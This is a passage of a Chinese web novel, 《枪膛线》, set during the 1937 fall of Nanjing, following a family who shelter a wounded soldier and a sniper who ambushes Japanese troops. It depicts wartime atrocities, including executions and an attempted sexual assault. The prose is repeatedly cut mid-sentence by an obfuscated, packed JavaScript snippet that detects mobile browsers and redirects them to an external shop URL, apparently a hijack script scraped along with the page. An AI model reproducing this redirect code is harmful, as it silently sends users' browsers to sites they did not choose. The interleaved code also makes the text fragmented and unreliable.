《枪膛线》 第1章 楔子 写在前面 枪的发明主要用于击杀目标,无论是手枪还是步枪,甚至后来的狙击枪,都是以有效射杀目标为终极目的。每一支枪都有膛线,膛线赋予了子弹旋转的能力,风阻实验可以验证,高速旋转的子弹速度更快、阻力更小,并能更好地保持既定方向。 膛线历史悠久,早在15世纪就有了记录,但由于制造工艺的复杂和困难,到了19世纪才真正普及,装备到各国部队。究其原因是前装线膛枪的装填速度太慢,装填也非常吃力,射击速度已降低到滑膛枪的三分之一甚至更慢,这样的低速决定了它将会为军队所抛弃,直到19世纪中叶法军猎兵队上尉克劳德·爱迪尔内·米涅发明了米涅弹。米涅弹的口径比前装线膛枪的阳线直径要小一圈,解决了填弹困难的问题。米涅弹的弹丸底部有一个圆锥形的小洞。发射时,火药燃气使弹丸尾部膨胀,嵌入膛线,随着膛线高速旋转出膛。由于米涅弹的直径小于枪管口径,使得装填更为容易,前装线膛枪的射速大为提升。解决装填问题后,前装线膛枪迅速在全世界范围内大规模普及。 手枪的子弹出膛速度为1音速左右,步枪的子弹出膛速度在2—3音速,这就意味着当对手手持手枪瞄准你时,你只要听到枪响,你就还活着,你急需要做的是躲避对方的第二颗子弹。而步枪的有效射程在400—600米,在此射程内,只要对方在狙杀你,你就没有机会反应,唯一存活下来的希望,那就是祈祷对方的枪法。 每一支枪的膛线,之于人的指纹和树的叶子,从来没有一模一样的。 膛线是枪的灵魂。 ……………………………………………………………… 时间回到1930年代。 1931年9月18日,日本关东军乘东北军大部开拔关内,发动柳条湖事件,由于国民政府的不抵抗命令,数月后东北沦陷,史称九一八事变。 1932年1月28日,日本为了掩盖其扶持伪满洲国的傀儡政府的阴谋,蓄谋在上海制造事端,第一次淞沪抗战打响,遭到国民党19路军蒋光鼐、蔡廷锴部的顽强抵抗。但很快南京政府下达不抵抗命令,所有将士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259511|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎不相信这道命令,甚至将通信员当做奸细扭送军部征询,当得知命令的真实性后,有的人手抱步枪冲入日军的阵地,很快倒在血泊中。 1937年7月7日,卢沟桥事变爆发,日本发动全面侵华战争 1937年8月13日,第二次淞沪抗战全面打响,这是整个抗战阶段规模最大最残酷的战争,日本投入20万兵员,中方投入80余万兵力,战役持续3个月,日军伤亡4万余人,中方伤亡30万人,此役于中国而言,标志两国不宣而战、全面战争的真正开始,并彻底粉碎日本“3个月全面灭亡中国”的狂妄言论。 1937年12月1日,日本大本营下达“大陆第八号令”,命令日本华中方面军和海军协同,兵分三路进击南京,唐生智自荐,被蒋介石任命为南京卫戍司令官,因敌我力量悬殊,加之国军士气大不如淞沪抗战,南京外围阵地很快失陷,随之各城门被破,唐生智接蒋介石令命部队撤退。无序的撤退很快演变成溃逃,死伤无数。12月13日,南京沦陷。 我们的故事从这时开始。 第2章 紫金山东麓 公元1937年12月13日。 南京的冬天潮湿而阴冷。 临近傍晚,天空没有一丝云彩。 疯狂啸叫十数天的枪声炮声在这一天的这一时刻起,忽然间消失了。喧嚣渐渐沉寂。偌大的南京城笼罩在灰色的烟霾里,偶尔有稀稀拉拉的枪声。空气中弥漫着刺鼻的烧焦羽毛的气味,到处是断墙残壁。在连接中山门通往城中的一条不算太宽的马路上,车已无法通行,马路上中国和日本将士的尸体一眼望不到尽头。木头电线杆东倒西歪,除了尸体外,遗弃的钢盔、军鞋、汽车轮胎、枪械、沙袋、汽油桶、行军装备等应有尽有,有抛锚的军用汽车横亘在马路中央。不时有无建制的日本步兵快速通过,边跑边朝四周放枪。 数十米高的中山门早已坍塌,这个由明朝朱元璋的子民修建的城门,在日军重炮的轰击下,已残破不堪,倾泻而下的墙砖堵塞了整个通道。 数百年的城楼,满目弹洞。 城门外,一支日军小队手持三八式步枪正在警戒。为首的军官是个仅有20来岁的娃娃脸,眼神中依旧充满了惊恐,警惕地四顾。他的嘴里叼着的一支烟卷,已然熄灭,他却浑然不觉。 中山门往东1000米,往北800米,被划作紫金山南线阵地,是国民革命军教导总队阻击日军进攻中山门的最后一道防线,总队长桂永清,士兵几乎是清一色的南京中央陆军军官学校的学员,绝大部分是年初刚刚从南京、武汉等地选拔入学的入伍生。 在这方圆不足一公里的地域,战斗空前之惨烈,紫金山南麓的几个制高点阵地,多次易主,中日双方为此均付出了沉重代价。双方的指挥官心中都非常清楚,这块复廓阵地是由中山门打开南京城的跳板,战略意义十分重要。 而此时此刻,战斗已经结束。在这块南京城东南地势最高的阵地上,遍布了数千具中日官兵的尸体。 这时,没有一方在打扫战场。 中方的高级指挥官已不知所踪。 日方的官兵早已开进南京城中心,清剿未来得及撤退的中国士兵,后来为防止士兵混杂在南京城的百姓中,索性开始了血腥的屠杀。 血已凝固,尸体开始变冷。 放眼望去,大多数的树叶已褪,光秃秃的树桠直愣愣地刺向阴云密布的天空。 阵地上有青烟袅袅。 寒鸦在哀嚎。 紫金山东麓。 一条并不显眼的小路,看出它不常为人践踏。 小路弯弯曲曲,在参差不齐的树木遮掩下通向不远处的一处山坳里。 在山坳的西北角,依山搭建了一间低矮的石头房子。 此时暮色四合,不见炊烟。 斑驳的木门虚掩着,里面透着微弱的灯光。 一张石板桌子四周,坐着三个人。两男一女。中年男人戴着一副黑框眼镜,一身青布长衫,用右拳支着下巴,盯着桌上的油灯默默出神。他的左手一侧,是个年过半百的男人,低着头抽着旱烟,灯光照着他黝黑的额头上,额头下面,是一张沧桑的脸,皱纹如沟壑。紧挨着中年男人的右侧,是一位中年女人,目光焦虑,眼角透着泪光。 中年男人把目光投向抽烟的男人,说,大哥,外面好像打完了。 老年男人侧耳听了听,嗯了一声 女人插话说,该打完了,这多少天啦!顿了顿又说,不知道打得怎么样了。 中年男人回头看她,说,八成守不住。 女人一听他的话,呜咽道,不知道冬儿和秋儿到底怎么样了?说着泪喷涌而出,竟哭出了声来。 老年男人叹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259512|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气。 中年男人焦躁的站起身来,在屋里来回踱步。 女人抽泣说,我更担心的是秋儿,她一个女孩子。哭得更厉害了。 中年男人有些不耐烦,大声呵斥她,哭有屁用!都怪你从小太宠她了,我叫她随我们到大哥这里躲一躲,她偏不听,说战争爆发,她们医院的伤病员一定不少。 女人根本没有听他讲话,思维我行我素,继续道,还有冬儿,他是要参战的…… 老年男人抬起头说,思冬还好,他毕竟是营长了。 中年男人打断他的话,说,我更担心的就是冬儿,营长又不是什么大官,必须亲临战场一线的! 长时间的沉默。 老年男人立起身,似乎下定了一个什么决心,对中年男人说,怀齐,枪炮都停了,仗恐怕打完了,我们还是出去看看吧,这一带我熟。 中年男人叫曲怀齐,是南京城里育群中学的国文老师,女人叫柳兰,是南京城夫子庙大华百货店的售货员,他们是夫妻。在在半月前,国民南京政府下令撤退期间,所有中小学就已停课。他和妻子商议了一下,觉得南京城并不安全,于是决定躲到大哥曲怀远在紫金山东麓的这处偏僻的山坳里。 曲怀奇夫妻是11月28日来此的。临行前,他们分别去找过儿子思冬和女儿思秋。儿子曲思冬是国民政府南京城防司令部的少校营长,女儿曲思秋是应天教会医院的一名医生。儿子没见到,打了几次电话也没能说上话。女儿推说医院在开战期间将会忙得不可开交,拒绝跟他们前往避难 。 大哥曲怀远长怀齐八岁,原本也在南京城里生活,十年前妻子意外死亡,他就离开了城市,在此处安置了一个简易的家,并在数百米的北山坡开辟了一块荒地,种些粮食和蔬菜,捕些飞禽和小兽为食。 第3章 幸存者 紫金山是南京城最高的山峰。其位于南京东郊,汉代又名钟山,形似盘曲的巨龙。因其由紫色岩体构成,山顶有一块长年裸露在外的岩石,没有任何植被,从远处看,紫光闪闪,因此得名紫金山。 这里埋着太多的王侯将相。 明代常遇春、徐达、李文忠葬在山北。 近代孙中山、廖仲恺、何香凝、邓演达等亦埋葬在此。 曲怀远带着弟弟,先是从东麓一处陡峭的岩壁攀爬而上,至半山腰再折向山南,从灵谷寺背侧绕道向西,在接近孙中山陵冢数百米处他们停下的脚步。 这时,天已经快黑了。 也只有在这个时候,曲怀齐兄弟俩方敢出来。 在曲氏兄弟看来,黑暗即意味着安全。 的确,黑会掩饰白,也会让很多真相永无天日。 天空飘起了零星小雨。 烟霾在渐渐散去。 从紫金山的半山腰看南京城,整个城市笼罩在浓得化不开的暮色中。 在城市的角隅,雾霭中隐约裹挟着猩红的火光。 四周死一般的沉寂,唯听到萧杀的风声。 在他们的正南方,便是紫金山的南线战场,他们被眼前的一幕震惊了。 视野中这片空旷的区域,尸横遍野。 极目处,几乎没有一棵完整的树木,所有的树木枝头都已被炮弹削去。 七八条野狗四处转悠,不时低着头吃着什么。偶尔抬头警惕的环顾四方。 曲怀齐的腿不由得打颤。他从未见过如此惨烈的场面,甚至连想象都没有过。 他嗫嚅道:“哥,败了,一定败了……” 在他的脑海里,首先掠过的念头就是他的儿子曲思冬一定凶多吉少。他似乎自言自语,又似乎在询问身旁的大哥,思冬会有事吗? 曲怀远也被这一幕惊呆了,他拉着弟弟的手不断的颤抖。 可是,他根本不知道如何回答是好。 两人就势瘫坐在山坡上。 他们呆呆的看着山脚下那块偌大的区域,一句话也没有。 十二月的冷雨打在他们的脸上,他们丝毫不觉得痛。在怀齐的心中,惶恐、绝望、惊惧……一个念头接着一个念头折磨着他。 唯一令他们稍稍欣慰的是他们看不到一个人,这就意味着起码他们的安全是有保证的。 没有人,只有几条野狗。 几条野狗在死人堆里觅食。其中有一条硕大的野狗离他们最近,就在山脚下一堆尸体里吃着什么,一边吃嘴里还发出呜呜的声音。他们不敢再往下想…… 曲怀齐不由自主想到了儿子的模样,尤其身着军装的样子,脑海里立即又闪现儿子在此杀敌的一举一动,想着想着,眼泪混杂着雨水从脸颊上流了下来…… 思绪正乱的时候,一声狗的凄厉的惨叫划破了混沌的夜色。 这声音尖锐而突兀,与周遭的静谧格格不入。 其余的几条狗未及分辨即四处逃窜。 兄弟俩本能地低下了头。透过膝盖上方枝条的空隙,他们看到山脚下的那条硕大的野狗已然倒地,抽搐了几下,就没有了动静。 正当他们满腹惊诧疑虑之际,他们惊异地看到尸体堆里突然有什么在蠕动。 紧接着一个黑影踉踉跄跄站了起来。 是一个人! 兄弟俩不由得张大了嘴巴。 黑影拄着一杆步枪,看得出脚步不稳,他努力不让自己倒下,在风雨中颤颤巍巍。可是,他似乎毕竟太脆弱,很快倒地,俄顷间又爬起来,单膝跪地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259513|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,极力地想爬起来……如此反复数次,终于站了起来,再没有倒下。 兄弟俩大气也不敢喘。目不转睛地看着他。 看不清黑影的脸庞,他困难地向四处张望,然后艰难地向前挪动。 黑影移动的方向,正是朝着兄弟俩所在的山脚而来。他每移动一步,显得那么艰难和力不从心。 曲怀齐心中闪过的第一个念头,就是山脚下这个人,说不定就是自己的儿子,当然潜意识里,他知道这样的念头有多荒谬。 正因为这样的念头,他对这个黑影充满了好感和钦佩。当然,他也想象过对方也许是个侥幸存活下来的日本士兵,但他不敢也不情愿向这方面去想。 黑影起身的地方,离他们数十米高的山脚仅有十来步距离,可是黑影足足挪动了十来分钟。 他们已听到他厚重而急促的喘息声。 显然,黑影是想在山脚处找一个藏身之处,脱离是非之地。 然而,他实在太过虚弱,他最后倒地的位置,竟然是在山脚一处岩石的后面。 五分钟、十分钟……一直未见他再有动静…… 南京冬天的夜色已经浓得化不开。兄弟俩心情忐忑,不知该如何是好。 他们竟不知道说什么好。 曲怀远轻声的说:“我们还是下去看看吧。” 弟弟曲怀齐其实早有此意,只是不愿先说出来。他有两个顾虑,一是怕这样的节外生枝会连累自己的兄长,二是怕对方不是自己的族类。想到后者,他稍稍平静的心又悬了起来。这个多事之冬,已有太多的噩梦般的经历让他来不及反刍 。可当他牵强地把山脚下的黑影和儿子联系起来时,他又立即平添了不少莫名的勇气。 这章没有结束,请点击下一页继续阅读! 第4章 剔骨刀的另类用途 柳兰听到一阵急促的敲门声,紧接着,丈夫曲怀齐在门外急切的说:“柳兰,快开门!” 大哥背着个人,丈夫在身后拎着把长枪,二人快速的掩身进屋。 柳兰迎上去,惊诧地问:“是谁?这到底怎么回事?” 曲怀远说:“一个中国士兵,他还活着。” 曲怀齐说:“赶紧去烧些热水。” 俩人把他抬上床。 灯光下,他的脸色苍白如纸,呼吸时断时续。 怀远把他血迹斑斑、残破不堪的军服解下,递给怀齐。 怀齐无意看到了军服的衣领处,一杠三星。便说:“这人还是个上尉呢。” 怀远说:“这么年轻,看上去还是个娃。” 他的身上有两处枪伤,左大腿一处,怀齐稍稍了解一些医学知识,他知道 这一处不是致命的,严重的是他胸部的那处枪伤。怀齐动手去解他的衬衣,衬衣上染红了一大片血迹,靠近胸口处被子弹穿破一个洞,洞口的血迹已经发黑,粘黏在肉上。怀齐小心翼翼地想把它和皮肤分开,可粘黏太紧,怀齐不敢用力,手微微有些抖,就这样还是触痛到了中国士兵,他的眉头微微皱了一下,醒了。 他虚弱的问:“这是哪里?” 怀远答道:“这是我家呢。” 怀齐插话道:“是我们把你带到这里来的。” 怀齐的脑中有太多的问题想问他,连声说:“你叫什么名字?和日本人打得怎么样?你属于哪个部队?……” 奄奄一息的中国士兵睁开眼,努力的想尝试去回答,可他实在没有力气。 怀齐有些过意不去,忙说:“你先休息,什么也不要想了。” 他轻声喘了口气,沉默一会,说:“我叫林赤,我们败了……” 他声音嘶哑,说完话眼睛开始微微合上。 两行泪水从他的眼角蜿蜒而下,在他布满泥尘的脸颊上,留下了两道非常明显的痕迹。 柳兰把烧开的热水调好水温,端来床边。 她问丈夫:“现在该怎么办?” 一句话问得丈夫懵了,他确实也不知道该如何是好。 他看着大哥,大哥也看着他。两人面面相觑,无从下手。 倒是女人家这时一语中的,她说:“不管怎么样,应该先把子弹取出来。” 可是,该如何取呢? 怀远说:“还是先给他擦洗一下吧。” 柳兰于是说:“那我去给他做点小米稀饭,他肯定饿了。” 俩人把林赤周身的泥垢清理干净。过程中,林赤时而清醒时而昏睡。怀齐趁林赤睁眼的机会,问道:“小伙子,我们该怎么帮你呢?” “取出子弹,这样我才能活命。” 弟兄俩脸有忧色,面面相觑。 林赤的嘴角游过一丝笑意,像在安慰他们:“我身上的伤我很清楚,不碍事的。” 怀齐说:“可是我们不会取子弹啊。” 林赤想了想说道:“这有什么不会取的,家里有尖一点的刀吗?” 曲怀远道:“有的。” 林赤又问:“烧酒呢?” 曲怀远回答:“有的。他似乎想起什么,忙对林赤说,我家里还有今年四五月份从山坡上采摘晒干的白茅花,兴许也用得上吧。” 林赤脸上露出欣慰的笑容。 柳兰端来稀饭,温和的说:“你先喝点稀饭吧。” 曲怀齐把林赤扶坐起来。示意妻子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259514|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来喂他吃。林赤却接过他手中的稀饭,仰头一口气喝了下去。 稍坐片刻,林赤吩咐说:“你们帮我一下。” 曲怀齐侧头问:“干什么?” 林赤说:“帮我把体内的子弹取出来。” 怀齐忙不迭声说:“不行,太危险了!” 怀远说:“孩子,腿上的子弹我们还敢,可是……可是胸口上的会有生命危险的啊!” 林赤说:“我已经死过一回了,即使我有什么闪失,我也不会怪你们的。” 他低头看着自己胸口的枪伤,用手探了探伤口,并用力按了一下,继续道:“这一枪,离我的心脏还有两公分,子弹也不是很深,你们完全可以做到的。” 他的眼睛盯着怀齐,眼光中透出刚毅,曲怀齐根本无法拒绝。 曲怀齐呐呐道:“那我们该怎么做呢?” 林赤想了想,说:“你们把刀在火里烧红,先用烧酒消毒伤口,再用温盐水清理,用刀把伤口外表面割开一点,用刀尖就可以把子弹剔除出来。” 他说得轻描淡写,像是这件事和自己一点关系都没有。 一旁的柳兰听得紧锁眉头。她对眼前的这个年轻人充满了好感,某种程度上,她已把这个陌生的中国士兵当做自己的儿子。她不由自主靠近他的身边,爱怜地说道:“孩子,这会很疼的,你受得了吗?” 林赤打量她一眼,说:“动手之前,你们用毛巾把我的嘴堵起来。” 林赤又说:“对了,你们找些干棉布来,伤口处理好后,你们弄些蜘蛛网的网盘,把白茅花碾碎一起附在伤口上,用棉布包扎好就可以了。” 小主,这个章节后面还有哦,请点击下一 页继续阅读,后面更精彩! 第5章 神秘的射杀 南京城沦陷。 最先攻进南京城的是谷寿夫的第六师团。隶属第十军的谷寿夫师团从中华门破城,一举突破国军的防线,并率先将太阳旗插在了中华门的城楼上。 这个身材矮胖的日军中将,在踏入南京城后,即首开屠杀平民百姓之先例。 从上海转战南京的第六师团,在淞沪战场战场上,遭到了中国军人的顽强抵抗,伤亡惨重。所以,第六师团是带着仇恨攻入南京城的。突破中华门后,凡是中国士兵模样,不抓捕,一律机枪扫射……渐渐愈演愈烈,许多日本官兵竟然找到猎杀活人的乐趣,后来甚至将手榴弹掷向无辜的平民百姓。 从这个意义讲,南京大屠杀始于南京城失陷的那一刻。 而将太阳旗插在南京国民政府中枢机关楼顶的,是日军中岛今朝吾中将的第十六师团。 这个被称为总统府的民国建筑群,如今人去楼空,往日熙熙攘攘热闹异常的景象,已不复存在。它现在成为了十六师团的司令部,此时,司令官中岛今朝吾正坐在原国民南京政府最高统帅蒋介石的办公桌旁,接过下属递来的电令。 办公桌对面的墙上,挂着一张巨幅南京地图。 12月7日接替华中方面军总司令松井石根上将任南京城攻城总指挥的,是日本天皇裕仁的叔叔朝香宫鸠彦王中将,在攻克南京城后,他给部下下达的命令是:全部杀掉俘虏! 中岛手中电报的内容,正是这道命令! 南京城已沦为人间地狱! 邪恶的魔瓶被打开,魔鬼降临了…… 12月14日,日军攻入南京城第二天。 临近中午。 中山北路。 由二十多位外国侨人发起成立的南京安全区的最东北角。 有七八名日本兵在街上巡逻。 他们隶属16师团下属步兵第二十联队第三大队。 为首的是名少尉,叫田中毅。 正是第二十联队这支部队在12月13日这天攻下了中山门。也正是这名田中毅在攻克中山门后带领十数名士兵担任了中山门的警戒。 他今年只有23岁,来自日本京都附近的奈良县。 16师团是日本陆军的一个甲种师团,官兵主要来自京都、奈良县和三重县,所以又被称为“京都师团”。他们如今接到的命令是担任南京城的守备。 该师团接到进击南京的命令后,就一路急进,先后攻占了常熟、苏州、无锡、常州、丹阳、汤山、麒麟门,并进抵紫金山一线,由于行军速度太快,他们把辎重部队远远抛在后面,部队供给远远跟不上。故而,16师团进击的过程,也是烧杀淫掠的过程。 街上冷冷清清,看不到一个人。 街两边是一排排低矮的房子,数条幽深的青石板巷子连接着它们。 这个时候,这里的房子还算完好。 行至拐角处,巷内第二排的一间房子的门突然被打开,里面探出一个女人的脑袋。女人的脚刚踏出门槛,目光正好落在这群日本士兵身上,她本能的想把身体向屋内缩进,可这个细小的动作被一个眼尖的日本士兵看到,日本士兵立即大声的咿呀喊叫起来。 其他士兵立即明白怎么回事,不等田中毅下命令,就一窝蜂向巷子里奔去。 从上海一路追击到南京,他们沿途任何一次抢夺猎杀,都是如此这般心领神会。 是一个二十岁左右的少女。 看衣着打扮,从学校毕业还不久。 少女很机灵,她并没有返回屋子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259515|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是转身向巷子深处狂奔。 七八名日本士兵看到这一幕,立即兴奋起来,开始紧追不舍。 少女跑得很快,体力也很好,根本没有一般女孩子的娇柔和弱不禁风。 他们在中山北路和山西路之间的几十排的房子间穿梭、追逐。女孩对这一带非常熟悉,眼看就要接近,不料她一转身跑进另一条巷子,距离又立即拉开,已反复多次。 田中毅到底经验比其他士兵要丰富,他一边追赶一边想,不行,不能老被这个女人牵着鼻子。 他一挥手,命令士兵分散追击。七八名日军很快散开来,快速占领附近的巷口,每个人都高声喊话,遥相呼应。 少女忽然发现处境越来越险恶。每穿过一条巷子,都发现不远处有日本兵,转身……再转身……她已无路可逃。 她被驱赶到了一条死胡同里。 少女的内心充满了绝望与惊慌。 日本士兵们看到她惊慌失措的样子,得意极了,完全不在意这是在异国他乡,是一个自己完全陌生的城市街巷,嘴里唧唧哇哇,肆无忌惮地笑喊着。 他们已把眼前的这位少女,当成了在南京城首次捕获的猎物。 走在最前面的是一个瘦高的士兵,他一把抓住少女的手臂,使劲往身边拽。脸上堆满了邪恶的笑容。 少女本能地想去挣脱,嘴里喊叫道:“你们要干什么?” 可是如何挣扎都是徒劳。 紧跟着瘦高个的是一个只有一米六五左右的圆脸士兵,他趁机去摸少女的脸蛋。少女手一挥,把他的手挡了回去。圆脸士兵并不介意,索性一下子拦腰抱住 了少女,低下脑袋想去亲少女的脸。 这章没有结束,请点击下一页继续阅读! 第6章 街巷深处 田中毅数人以巷中的一排青砖墙为掩护,把身体蜷缩在墙后。 周围看不到一个人影。 枪手的枪法之准深深震撼了他。 田中毅对形势做出快速的判断。 他们一行人的周围都是房子,除了脚下的这条巷子,没有开阔的视线。但显然,枪手不是从巷口射击,因为子弹不可能绕过自己,击毙自己的同伴。 田中毅略加思索,就明白枪手一定埋伏在巷子对面的房顶上。 此次是田中毅从军以来第一次在非正面战场遇袭。 发生在中国南京一条街巷深处。 以往所有的战斗他都知道敌人的确切方向,而这一次不同,敌人在暗处,要命的是他对敌人一无所知。 他想,他们一定遭遇了中国狙击手。 想到对方的狙击手身份,他立即对战友大声喊道:“不要露出身体!” 其实,即使他不提示,他身前的这四名士兵也不会贸然出击。前方数丈远的地方,正躺着他们的三个亲密无间的战友,从东京都到满洲,从满洲到华北,从华北到上海再到南京,他们一路上说着相同的方言,谈论着相同的话题,都思念着远在家乡的恋人……他们就用这些谈资来消除对战争的恐惧。 如今,从东京都一起参军的12名战友只剩下他们几个。一个死在北满,两个死在华北山海关,两个死在淞沪战场,一个死在汤山外围阵地…… 此时的田中毅已完全镇定下来。 他用手指指了指斜对面的房顶。 手下的士兵立即抬手对着对面的房顶一阵放枪。 在子弹的掩护下,他们弯着腰向巷口退去。 田中毅明白,眼前的这块弹丸之地,完全在对方的精准射角内,如果一直待在此地,他们只能束手待毙。唯有先撤退,再做计议。而且田中毅相信,附近的部队在听到枪声后,会很快赶来增援! 三十多米长的巷子,田中毅他们仿佛走了一个世纪。 他们退到巷口时,果然看到巷子尽头的屋顶上,有个人影晃了一下。田中毅隐约听到屋顶瓦片被踩踏发出破裂的声音。 看来,对方在移动。 优秀的狙击手在失去机会时,从来不会盲目地多开一枪,因为,任何多余的一枪都有可能让自己暴露。 他所击出的每一颗子弹,都应该是高效的。 田中毅听到屋顶瓦片碎裂的声音由远及近,速度之快出乎他的意料,他知道对方已经追击上来。他一抬手,循着声音朝屋顶放了一枪。 其他的士兵纷纷效仿,一时间,枪声大作。被子弹击碎的瓦片四处乱飞。 他们一边开枪压制一边快速地撤离。事实上,这一通乱射,确实有效地遏制了对方的追击。 而就在这个时候,正如田中毅所料,附近闻声前来增援的队伍也已赶到。 这支小队也是他们第九联队的,共计20多人,为首的是个少佐。田中毅把战场态势向他做了简单地汇报。少佐听后勃然大怒,从腰间拔出指挥刀,下达了追击的命令。 返回事发地,人迹杳无。 就连那位少女,也不知所踪。 只有地上依旧躺着三具渐渐冰冷的尸体。 包括田中毅在内,他们对敌人的具体信息一无所知。 唯一事实清楚的是,对方是一个狙击手。在距离二十五米远的房顶,三枪击毙了三名战友,并且,都是一枪致命! 这个消息很快在负责南京城警备的第十六师团中传开了。 第十六师团师团长中岛今朝吾听到这个消息时,他正在总统府的一处开阔地上,手持镰仓宝刀,劈下了几名中国战俘的脑袋。 少女名叫池橙,今年年中刚从金陵大学毕业。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259516|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 中午出门,原本是和几个同学约好去不远处的国际安全区帮忙。没料到刚出门,就遇到了日本兵。 对池橙而言,短短的一个小时时间,她经历了她生命阶段里最难忘也是最惊魂的一幕。当她被数名日本士兵围住之际,她的内心几乎是歇斯底里的绝望,她觉得与死亡之神如此之近。 接下来发生的一切,她的大脑一片混沌。 一些影音不断的沉没浮现、浮现沉没…… 她听到了枪响。 她感觉到了子弹擦过她脸庞呼啸而过的风。 她嗅到了血腥的气味。 她看到了那些日本兵恐惧的眼神。 她还依稀记得,有人在墙后面喊她。 一双有力的手在头顶处,接过她举起的手,把她拽到墙的另一面。 墙的另一面,有四名中国军人,每个人手中都提着一把长枪。 为首的是个军官,神定气闲,言行举止竟没有一丝慌张。 更重要的是,军官身材高大,眉宇间透着俊朗和亲切。池橙第一眼看到他时,竟想放声大哭,她所有的屈辱和委屈忽然间有了排遣对象。事实上,她也是这么做的,只是她没有哭出声,她趴在对方的肩上,眼泪一个劲往下掉。 花季少女池橙,在见到他的那一刻,已毫不迟疑把内心深处最柔软得一块地方让给了他。 其他三名士兵叫他曲营长。 是 的,他就是曲营长曲思冬! 他的父亲是曲怀齐。 南京育群中学国文老师曲怀齐。 那个在紫金山阵地救下南京教导总队上尉连长林赤的曲怀齐。 此时此刻,曲思冬看着趴在他肩上泪流满面的池橙,固然有些局促不安,但他还是很快做出决定。 他拉着池橙的手,在墙的另一面,一行五人快速的远去。 第7章 玄武湖阻击战 1931年,19岁的曲思冬中学毕业后,得知在南京创办才几年的中央陆军军官学校招收学员,随即报考了该校,并以南京地区生源笔试成绩第一名次被成功录取。 中央陆军军官学校是国民南京政府设置最早的军事教育机构,主要用于培养陆军基层军官,27年11月在南京筹备,28年3月在南京开学。校长依旧是国民政府最高统帅蒋介石。军校教育和一切教务由教育长张治中全权负责。 中央陆军军官学校在南京成立后的第二年,前后共培养了五期毕业生的广州黄埔军校停办。有着黄埔情结的蒋校长就把该校首批毕业生称为第六期。 曲思冬毕业于南京中央陆军军官学校第九期炮科专业。 入伍生期间的前两个年度,曲思冬的学科和术科的成绩一直是全年级第一,学生期后主修炮科,并以非常优异的成绩毕业。他的教官何尚武上校对他极其欣赏,经他举荐,毕业后曲思冬在总统卫队服役一年,次年高调南京城防司令部任特务连连长,又一年后即升任少校营长,成为第九期毕业生中晋升最快的军官。 南京保卫战期间,曲思冬带领他的三营在玄武门一带机动。撤退命令下达时,他被迫带着部队向下关方向撤离,随着多股撤退部队的合流,在临近挹江门时,他们几乎寸步难行,前方甚至发生了不明原因的枪战,后来前去探听消息的士兵报告,封锁挹江门的国军36师并没有得到部队允许撤离的命令,遂与第一批撤离部队发生交火。 曲思冬听后怒火中烧,日本人已打到了家门口,军人不去保家卫国也就罢了,在撤退时居然还有如此窝囊的事发生,想到气愤处,曲思冬突然就决定不走了。 